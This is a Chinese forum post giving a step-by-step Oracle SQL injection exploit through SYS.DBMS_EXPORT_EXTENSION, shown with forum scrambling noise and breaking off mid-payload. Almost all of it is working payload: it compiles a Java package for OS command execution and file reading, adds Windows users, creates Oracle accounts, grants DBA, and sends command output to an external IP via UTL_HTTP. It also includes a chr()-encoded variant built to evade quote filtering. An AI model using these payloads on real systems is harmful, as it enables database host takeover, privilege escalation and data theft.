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标题: 犀利的 oracle 注入技术 [打印本页]

作者: admin    时间: 2012-9-13 16:49
标题: 犀利的 oracle 注入技术

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/ l( c8 b3 ^4 f1 p6 b  G介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成5 |, w$ N8 u' ^! P% }

7 [4 ~7 l- @+ T4 J/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
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4 e; I- G7 Q3 W' k) y( a$ K+ E4 D的形式即可。(用" 'a'|| "是为了让语句返回true值)
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" A! Q9 L. ~( h8 i& l( i, A语句有点长,可能要用post提交。$ T0 L3 F- S# W( E, s' o# W
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8 N/ `! A3 a% n以下是各个步骤:
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; ]* T& f$ b! {* Y9 v' r8 j  D& P$ P1.创建包4 @! v/ C4 x3 C' @
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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/xxx.jsp?id=1 and '1'<>'a'||(
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 |1 I: R+ X( \) K! i
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
; ]! o+ k9 M2 v5 ~+ Q3 Znew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
. U3 o0 b. t& z$ r1 J- o8 ^}'''';END;'';END;--','SYS',0,'1',0) from dual
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3 `5 g; }* Z& |4 N2 s( h------------------------
$ r7 X+ k  ^3 M) t6 m5 Y5 {如果url有长度限制,可以把readFile()函数块去掉,即:
+ `9 i/ H; _8 |) H' X/xxx.jsp?id=1 and '1'<>'a'||(8 S" B3 B9 M+ r+ {) ~; D

: o2 Z2 g. W5 I% Q$ g0 zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
( K. g7 @6 ]. m; A- c  Xcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(" {( `, {( Z- X0 u& z  ]3 T
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
0 f- S( U& ^' l3 c4 F9 q1 [. P}'''';END;'';END;--','SYS',0,'1',0) from dual
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)
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" i0 f: p& {% f8 D同时把后面步骤 提到的 对readFile()的处理语句去掉。
! |( k* y2 r# O2 Y* M; c$ W  Y+ D------------------------------
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: j' o2 r# O! Z2.赋Java权限
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7 i. N$ P; c+ R- e6 M5 N) i9 _3 k7 Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual2 i8 B1 c/ M2 M: ~3 ^" w

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2 `! P+ d/ {0 L* [% s; T" t9 Y3.创建函数" r. X, Y- z3 v7 Z  C+ \3 H

% A& [+ A2 P! yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 W2 {' w" K. P1 Z9 w0 jcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( m. n! Q4 ~7 i9 T! L! Y& C1 E0 t9 \5 G
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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8 c4 e2 l; l- i" ?8 ]4.赋public执行函数的权限  Z2 z* q3 `4 w7 u

6 l- W+ w% I. i, k! \' uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual$ m1 k4 f$ H) Y$ z3 o4 q/ u

, W! ?/ m4 l7 O& s2 @6 uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
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) t* f  e: b3 W6 ?# d( A5.测试上面的几步是否成功+ Y, Q/ X; S5 U& r3 j
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and '1'<>'11'||(+ e4 l  J# e! c* R) @
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
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& C& w' c  d9 Y1 b- Y+ ^# D% [select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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$ X/ u& T, `; w/ a" {6.执行命令:
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/xxx.jsp?id=1 and '1'<>(1 W, T  [7 B: H
select sys.LinxRunCMD('cmd /c net user linx /add') from dual2 u  @: T, Y) F4 Q% a5 q
)
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/xxx.jsp?id=1 and '1'<>(
5 w# h7 g& r4 K- mselect sys.LinxReadFile('c:/boot.ini') from dual  U, N# Q7 X# y2 d
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* Y. Z4 W0 |7 V) U注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
0 D: Z3 y7 K. \! L如果要查看运行结果可以用 union :
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/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual, R! s) n. G. c6 r0 {8 [

0 C( ~& A" P7 ~* v$ ^# h或者UTL_HTTP.request(:9 W2 R' [$ f% i% y9 j( }5 r

2 y" `2 ]# M! u/xxx.jsp?id=1 and '1'<>(
8 C. y" ?3 j1 iSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual4 [: q* c1 X2 ]3 z/ Z
)
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0 d9 b/ B1 T3 ~' _' V注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
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& A5 R3 p* h! a4 p- t" j4 r- U. T8 U. y6.内部变化& Q2 @5 l3 [" j- v+ b) U1 C
通过以下命令可以查看all_objects表达改变:
' z6 G+ A9 g9 J  `9 W  oselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
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7.删除我们创建的函数
3 @, b' b$ o8 A2 z3 x4 T. ]select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') Q2 b4 W$ @1 n& T& @3 K8 E: {
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual9 ?6 J1 w/ ]8 |: L' L0 a/ H
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====================================================
. \" D( l  E" k6 P4 v/ j5 \全文结束。谨以此文赠与我的朋友。4 q- ~% B! V% _2 ^) E. D, ?# v

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124829445
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[email protected]6 n$ |  k" R+ a0 b

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======================================================================
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测试漏洞的另一方法:8 @3 e( Q+ J/ }* X1 t# x1 M

; o1 \1 J! d/ c创建oracle帐号:
- p  ^1 j+ H% j1 T! [( wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; C+ y7 n' B2 B1 O( W% A: ^
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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即:
. E4 c4 G( l0 Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
2 c4 w$ Z5 h9 R) }: [; ^% b( dchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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确定漏洞存在:$ _$ O5 S% W3 m, l7 |
1<>(
6 G& E$ T  _& b! x6 O; l  d% z0 zselect user_id from all_users where username='LINXSQL'" Y+ g9 j' J6 F. n+ R1 C
)
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给linxsql连接权限:
) T4 b; K+ |" x* M! o) Eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; |. ?1 d$ @3 u0 E0 x! G
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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删除帐号:: |. Q6 i  Y7 P. X, h3 P: R
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', g' f' v3 ?/ H; S
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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  i! |9 x/ e2 r  P/ i- h1.jsp?id=1 and '1'<>(
0 |3 ^9 M3 u0 {# E, g2 hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* ?3 j7 I$ U; f( S8 s, Pcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual+ Z1 Q/ O( F6 k9 m
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% t! Z; ~% r5 S1.jsp?id=1 and '1'<>(
( I3 y+ D6 b% F) h, s, C/ Vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual# |2 q2 |' u) v+ a" g
) and ...- S: Z% k* ]) K: ?

6 R3 p/ E$ k$ Y9 g7 g. f1.jsp?id=1 and '1'<>(6 Y/ G# \$ p5 \6 y- B
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
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1.jsp?id=1 and '1'<>(
5 e- V$ G; n% k& d1 ?8 z4 YSELECT sys.Linx_Query('declare pragma
' H1 W* V& k# }! K" @+ }7 ^8 }autonomous_transaction; begin execute immediate ''
$ e7 Z+ N7 i, D3 O1 _+ z. k* g) oselect 1 from dual
& i, O" f% r  O) m6 n$ A, u''; commit; end;') from dual
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多语句:6 K! F0 w% y% z
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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" K# {6 V& L7 @. p创建用户(除非当前用户有system权限,否则无法成功):1 Q) u9 K& O1 E4 @3 [# V
SELECT sys.Linx_Query('declare pragma
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CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
3 n: e, G! a" W1 A6 z' ?''; commit; end;') from dual
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以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()6 |9 ^) |4 I+ B! n& S
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1.创建函数1 |& B  x2 c1 E( q9 l6 }
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# }3 s+ e4 x/ Jcreate or replace function Linx_Query (p
' u3 t1 T# J- w2 e# ^  v# avarchar2) return number authid current_user is begin execute immediate' O8 [7 C0 I) _# _4 A, g7 H
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;+ |& J6 X" H7 e9 e
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如果有权限,以下语句应该允许正常8 f5 s& M7 w$ j5 z, Z2 k% w2 k
select sys.linx_query('select 1 from dual') from dual;! a9 I4 t: ?) j! H6 t
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不然的话运行:2 b: g* z) h/ B: w
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 }4 P8 V. |! [* r- |* W' ?
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual# a5 p5 z& y- J
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' ]# H8 H% g) Q- y3 M2 {# ~8 c2.创建包
- f" s1 O. F, O7 s" k, zSELECT sys.Linx_Query('declare pragma2 n9 Z& y/ N0 x2 e: c  I4 @  g3 \3 ?
autonomous_transaction; begin execute immediate ''
: J5 m8 d0 u# d% c; r9 X/ o3 _create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(( i4 v: D6 Q$ |3 l* w3 J! n
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
1 w7 ^, ^" x* E6 y; V' t
" D3 j1 S9 S! ?: n- O3.创建函数
7 I) L5 m( F/ J5 A9 c4 q& HSELECT sys.Linx_Query('declare pragma8 k' h( R$ H+ f/ d! z) ]/ d
autonomous_transaction; begin execute immediate ''
* g: S$ w' m! P6 i' v# T# {! Z+ Xcreate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
+ O9 e/ z( k- z+ B
% V* D; [+ ]. L- n4.给权限: k0 V# {7 W( J; k
给用户SYSTEM执行权限:/ X( s+ X5 y7 B5 V1 _

" ?! a4 E$ Z) @, G9 o: F" b" q$ s5 ?SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
( ~" |0 n/ z9 g  Z! o6 J6 t7 q5 u7 I
( W! t, Q5 e4 h- ^7 j# Q7 o0 Y0 a& b7 ?1 m- g

+ L4 M2 v' ]9 d- Z$ Y4 s5.执行函数
3 c: w3 z; N: J+ y3 _* Rselect RunCMD2('cmd /c dir') from dual7 e2 g! `* I3 G* \$ O& X: n# E

0 N7 w. G4 l  F0 U& l& H* K* z$ D5 p7 b5 l; y
1 T' U& B3 |" k
$ L3 t4 K* p: o+ o0 w1 B- U; B

. F- ~, q  x- X( R==================
+ m3 U2 b6 \* v/ i* k. }' i================================
, _6 A6 u4 u# z" I; n7 H
/ d# O5 _& B4 }$ A4 l1 B: w. h( u以下是无 " ' " 版:
( b9 @% k- r4 A, }$ l0 V2 c8 n9 Z# X8 }9 U- N, A
以下是各个步骤:) c( i6 T6 W- `/ v3 P! {
3 E, P* E' T$ h! `1 Q$ `$ x
1.创建包7 v: H& j- ~) M$ ~$ |3 V9 ~
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:8 e- X6 x- V3 b& S
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
. @* ~" X7 V" L% m; E: g2 i- o, N( B
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
5 l0 Y3 u& S% r8 q
: a' o& j; }) g8 p) ]9 ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),$ t  G& m: }7 T9 Z, w
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||5 Z  e8 A8 _# c* w% \
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
# ^* z$ `  u( k$ Z8 Rchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
; |: w% }) t. L; ~4 ~- Uchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
( T4 c$ \7 H+ q2 ^; ~- Zchr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
8 m' s  l* {. q# h" V* Q7 B; d) m6 _% S7 {chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||& ^/ y; w4 s9 e' B( ?- [4 V8 Z  q
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
: y' y6 o1 ?7 jchr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||% T6 i4 }* d- C) X6 X
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||, l  U- E+ s1 G' ]! r# V+ f
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
0 S" x5 d9 Y9 Z) q& rchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
$ {6 I0 x2 g9 g- h8 z$ l  Tchr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
5 L* G7 p0 Z; i7 O# Jchr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||3 s& k- p- I" r1 _4 m$ R" f
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
  T: f* d7 \1 K& Hchr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||( j9 o$ e( A8 S9 r$ o: ]
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
! f2 B" r$ N! H( ichr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||1 @  `- X4 f0 R+ d. W2 z
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||! y' s5 \) K) P4 u# i& Q
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||- ]& n, Q4 {. Q" G! W
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||  S8 ]8 o* M( E9 p3 _+ _
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
5 O+ c) B: _" N1 Y  H. p0 Schr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
) x( }/ W* M7 U/ T5 Bchr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
6 d; {( Y$ M4 i  A' Schr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||# S$ w& i" g3 @& L
